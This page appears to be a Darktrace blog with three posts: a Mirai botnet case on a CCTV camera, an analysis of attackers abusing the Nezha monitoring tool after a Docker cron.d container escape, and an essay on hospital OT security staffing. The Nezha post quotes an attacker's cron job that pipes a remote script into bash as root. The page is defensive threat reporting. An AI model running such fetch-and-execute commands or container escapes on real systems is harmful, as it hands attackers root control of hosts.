Blog
/
/

Mirai Malware: Impact on CCTV Cameras

Learn how Darktrace’s AI identified the Mirai malware in an Internet-connected CTV camera, breaking down each stage of the attack life cycle.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
Default blog image

Introduction: Mirai Malware attack on IoT devices

The rise of Internet of Things (IoT) devices, like Internet-connected cameras used in CCTV surveillance, has introduced new vulnerabilities to both personal and business environments.

With attackers exploiting the inadequate security measures typically associated with IoT devices, traditional antivirus and legacy security solutions fall short. To address this critical gap, Darktrace’s Cyber AI Platform provides advanced protection for these increasingly essential yet vulnerable technologies.

Attack Overview: Mirai Malware

In late May, Darktrace detected the Mirai malware infecting an internet-facing DVR camera owned by a logistics company in Canada.

Mirai, first discovered in 2016, continuously scans the Internet for the IP addresses of vulnerable devices in the Internet of Things (IoT), and then turns these devices into bots that can be used as part of botnets for large-scale network attacks. These attacks are often difficult to detect, as IoT devices seamlessly integrate into digital infrastructure, creating a vastly expanded attack surface for organizations.

By drawing on a bespoke, evolving understanding of what is normal for the network, Darktrace caught each stage in this attack’s lifecycle. However, because this company was still conducting their 30-day Proof of Value, Darktrace's Autonomous Response was not in active and the attack continued past the point of initial compromise. Had Darktrace's Autonomous Response been in active mode, the attack would not have advanced past initial compromise.

Attack Timeline

This timeline roughly outlines the major attack phases over three days of activity
Figure 1: This timeline roughly outlines the major attack phases over three days of activity

Technical analysis

At the time of the initial breach, this specific botnet’s infrastructure was not yet known to open source intelligence (OSINT). Darktrace, however, detected an EXE download from a location not previously visited by the network.

After the first anomalous EXE download, another was downloaded approximately twenty minutes later. The malware then reached out to multiple IP addresses that were statistically rare for the network. Specifically, the compromised device began transferring large amounts of data to an IP address in China.

n overview of Darktrace detections
Figure 2: An overview of Darktrace detections

Darktrace, by leveraging machine learning algorithms in a protocol agnostic capacity, analyzed this individual device’s transfers within the context of a continuously evolving understanding of what is normal both for this device and for the wider organization. It was therefore able to immediately flag all of these transfers as unusual.

This activity was fully investigated and reported on by Darktrace’s Cyber AI Analyst. A sample of the AI Analyst’s report is shown below. The Suspicious File Download, the Unusual Repeated Connections, and the Unusual External Data Transfer are all presented as unexpected events that call for further investigation. The destination IP of the suspicious download was determined to have 100% hostname rarity relative to what is normal for the organization.

 Darktrace’s Cyber AI Analyst autonomously triages the attack
Figure 3: Darktrace’s Cyber AI Analyst autonomously triages the attack

Moreover, the hash of the file, highlighted in a red box in the figure above, revealed that it was a well-known file related to the Mirai Botnet. However, with no antivirus or other security defending the IoT camera, this had gone undetected.

A one-click analysis of the infected device shows a timeline of the model breaches that occurred and graphs the activity to give the report’s readers a quick understanding of the successive stages of the attack. Here, we see the second and third stages of the attack’s lifecycle, in which it starts DDoS against other devices in order to complete its mission while simultaneously continuing outgoing connections to rare destinations in order to sustain its presence.

The device event log showing the list of model breaches on May 23
Figure 4: The device event log showing the list of model breaches on May 23

Conclusion

Interestingly, the client saw no indicators of this activity beyond a sluggish network. This change in network activity was only explained after being identified by Darktrace. Once the client was promptly notified, the compromise was deescalated, and discovering it was a DVR security camera, the client took the device offline.

As this customer was still concluding their trial deployment, Darktrace was not in full autonomous mode. However, if it had been, Darktrace would have responded with a two-tiered action to prevent the device from communicating with the malicious endpoint, cutting the compromised connection before the attack had gained its foothold.

Darktrace model breaches:

  • Anomalous Connection / Uncommon 1GiB Outbound
  • Unusual Activity / Unusual External Activity
  • Unusual Activity / Enhanced Unusual External Data Transfer
  • Unusual Activity / Unusual External Data to New IPs
  • Device / Initial Breach Chain Compromise
  • Anomalous Server Activity / Outgoing from Server
  • Anomalous Connection / Data Sent to New External Device
  • Anomalous Connection / Multiple Connections to New External UDP Port
  • Anomalous Connection / Data Sent to Rare Domain
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Internet Facing System File Download
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

More in this series

No items found.

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
Your data. Our AI.
Elevate your network security with Darktrace AI